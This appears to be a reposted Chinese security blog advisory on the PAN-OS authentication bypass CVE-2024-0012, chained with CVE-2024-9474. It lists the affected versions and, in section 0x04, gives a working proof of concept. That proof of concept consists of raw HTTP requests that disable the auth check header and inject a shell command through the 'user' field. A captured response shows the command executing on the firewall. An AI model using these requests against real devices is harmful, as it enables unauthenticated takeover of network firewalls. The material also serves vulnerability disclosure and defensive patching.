CVE-2024-0012｜Palo Alto Networks PAN-OS身份验证绕过漏洞（POC）

0x00 前言

派拓网络（Palo Alto Networks）是一家网络安全公司，总部位于美国加利福尼亚州圣克拉拉市。公司的核心产品为“下一代防火墙”（Next-Generation Firewall）平台，提供网络活动的可视化能力，可基于应用（App-ID）、用户（User-ID）与内容（Content-ID）进行网络活动的精细化控制，同时提供基于云的安全服务（GlobalProtect与WildFire）来拓展防火墙的安全性。

0x01 漏洞描述

未经身份验证的攻击者通过网络访问管理Web界面，从而获得PAN-OS管理员权限以执行管理操作、篡改配置或利用其他经过身份验证的特权提升漏洞（如CVE-2024-9474）。

0x02 CVE编号

CVE-2024-0012：Palo Alto Networks PAN-OS身份验证绕过漏洞

未经身份验证的攻击者通过网络访问管理Web界面，从而获得PAN-OS管理员权限以执行管理操作、篡改配置或利用其他经过身份验证的特权提升漏洞。

CVE-2024-9474：Palo Alto Networks PAN-OS权限提升漏洞

Palo Alto Networks PAN-OS软件中存在权限提升漏洞，可能导致具有管理Web 界面访问权限的PAN-OS管理员以root权限对防火墙执行恶意操作。

0x03 影响版本

PAN-OS 11.2 < 11.2.4-h1

PAN-OS 11.1 < 11.1.5-h1

PAN-OS 11.0 < 11.0.6-h1

PAN-OS 10.2 < 10.2.12-h2

0x04 漏洞详情

POC：

首先：

POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1Host: {{Hostname}}X-PAN-AUTHCHECK: offContent-Type: application/x-www-form-urlencodedContent-Length: 107user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1

然后：

使用第一步获取的PHPSESSID，请求index.php/.js.map触发第一步的请求。

GET /index.php/.js.map HTTP/1.1Host: {{Hostname}}Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n;X-PAN-AUTHCHECK: offConnection: keep-alive

最后：

请求第一步中命令写入的文件，验证命令是否执行，并且能访问到执行结果。

GET /unauth/watchTowr.php HTTP/1.1Host: 192.168.1.227Cookie: PHPSESSID=fvepfik7vrmvdlkns30rgpn1jb;X-PAN-AUTHCHECK: offConnection: keep-alive

HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 09:39:17 GMTContent-Type: text/html; charset=UTF-8Content-Length: 108Connection: keep-aliveAllow: GET, HEAD, POST, PUT, DELETE, OPTIONSLinux PA-VM 4.18.0-240.1.1.20.pan.x86_64 #1 SMP Wed Jul 31 20:37:12 PDT 2024 x86_64 x86_64 x86_64 GNU/Linux

0x05 参考链接

https://security.paloaltonetworks.com/CVE-2024-0012

https://github.com/watchtowrlabs/palo-alto-panos-cve-2024-0012

原文始发于微信公众号（信安百科）：CVE-2024-0012｜Palo Alto Networks PAN-OS身份验证绕过漏洞（POC）